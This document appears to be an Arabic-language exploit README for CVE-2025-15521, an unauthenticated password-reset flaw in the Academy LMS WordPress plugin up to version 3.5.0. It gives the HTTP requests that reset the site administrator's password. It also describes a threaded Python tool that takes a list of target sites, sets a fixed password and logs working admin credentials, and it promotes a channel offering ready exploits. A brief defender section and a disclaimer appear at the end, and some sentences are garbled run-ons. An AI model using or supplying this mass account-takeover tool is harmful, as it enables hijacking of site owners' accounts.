
إضافة Academy LMS – WordPress LMS Plugin for Complete eLearning Solution الخاصة بووردبريس معرّضة لثغرة تصعيد الامتيازات عبر الاستيلاء على الحساب في جميع الإصدارات حتى الإصدار 3.5.0 وما يشمل ذلك الإصدار.
إضافة Academy LMS – WordPress LMS Plugin for Complete eLearning Solution في ووردبريس معرّضة لتصعيد الامتيازات عبر الاستيلاء على الحسابات في جميع الإصدارات حتى 3.5.0 وما يشملها.
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
📡 تابع @KNxploited — إفصاحات CVE واستغلالات جاهزة، دون تأخير.
CVE-2025-15521 — استيلاء غير مصادق على الحساب عبر إعادة تعيين كلمة المرور في Academy LMS ≤ 3.5.0.
يُصادق معالج إعادة التعيين في الإضافة على الطلب باستخدام nonce مكشوف للعموم (academy_nonce) مضمّن في صفحات الدورات فقط. لا يتم إرسال أي رمز إلى بريد المستخدم الإلكتروني. لا يوجد فحص للجلسة. لا يوجد تحقق من الهوية. أي مهاجم يقرأ أي صفحة دورة يحصل على nonce صالح، ثم يعيد تعيين كلمة مرور أي حساب عبر توفير user_id — بما في ذلك user_id=1 (مدير الموقع).
CVSS 3.1: 9.8 حرجة — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA: Wordfence
GET /course/any-course/
→ HTML contains: "academy_nonce": "a1b2c3d4e5" ← public, no auth
POST /academy-retrieve-password/?user_id=1
new_password=<anything>
confirm_new_password=<anything>
security=a1b2c3d4e5 ← nonce accepted
→ Password for user_id=1 changed. No email. No confirmation.
يستدعي المعالج الدالة wp_set_password() بعد التحقق فقط من wp_verify_nonce() على nonce يُبث إلى كل زائر. لا يوجد أي تحقق من أن المستخدم مُرسل الطلب يملك الحساب الذي يتم تعديله.
academy_nonce حيuser_id مستهدف بكلمة مرور مختارة/?author=N وواجهة REST API (/wp-json/wp/v2/users)wordpress_logged_in/wp-admin — وليس مجرد استجابة 200pip install requests colorama urllib3
يتطلب Python 3.8+. يُنصح بـ Python 3.10+.
python CVE-2025-15521.py
سيُطلب منك ما يلي:
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 10
Reset handler path [/academy-retrieve-password/]:
Course root path (key source) [/course/]:
Max /course/ subpages to scan per site [15]:
user_id to reset (handler target) [1]:
New password to set [adminSA]:
HTTP timeout (seconds) [10]:
Output file [scan_results/academy_access_success.txt]:
ملف الأهداف — رابط في كل سطر، البروتوكول اختياري:
https://target1.com
target2.com
https://target3.com/lms
الطرفية — سطر واحد لكل هدف، دون طباعة بيانات الاعتماد:
[14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT
[14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT
الملف — إدخالات الوصول المؤكدة فقط:
[2025-04-18T14:02:11] https://target.com - account=admin pass=adminSA
للمدافعين:
احجب أو راقب طلبات POST غير المصادقة الموجهة إلى نقطة نهاية إعادة التعيين:
POST *academy-retrieve-password* with parameter: security=
افحص مدى تعرّض rm_admin_order / academy_nonce في مصدر صفحة الدورة الخاص بقالبك. إذا كان الـ nonce ظاهرًا دون تسجيل الدخول — فإن إصدارك متأثر.
خطوات الإصلاح الفورية:
هذه الأداة مخصصة لأغراض البحث الأمني واختبار الاختراق المصرح به فقط.
شغّلها فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
لا يتحمل المؤلف أي مسؤولية عن الاستخدام غير المصرح به أو غير القانوني.
الاستخدام غير المصرح به ينتهك CFAA وCMA والتوجيه الأوروبي 2013/40/EU وقانون مكافحة الجرائم الإلكترونية السعودي رقم M/17 والقوانين المماثلة حول العالم.
بواسطة Nxploited (Khaled Alenazi)
t.me/KNxploited · github.com/Nxploited
🔔 تابع @KNxploited على تيليغرام لآخر إفصاحات واستغلالات CVE.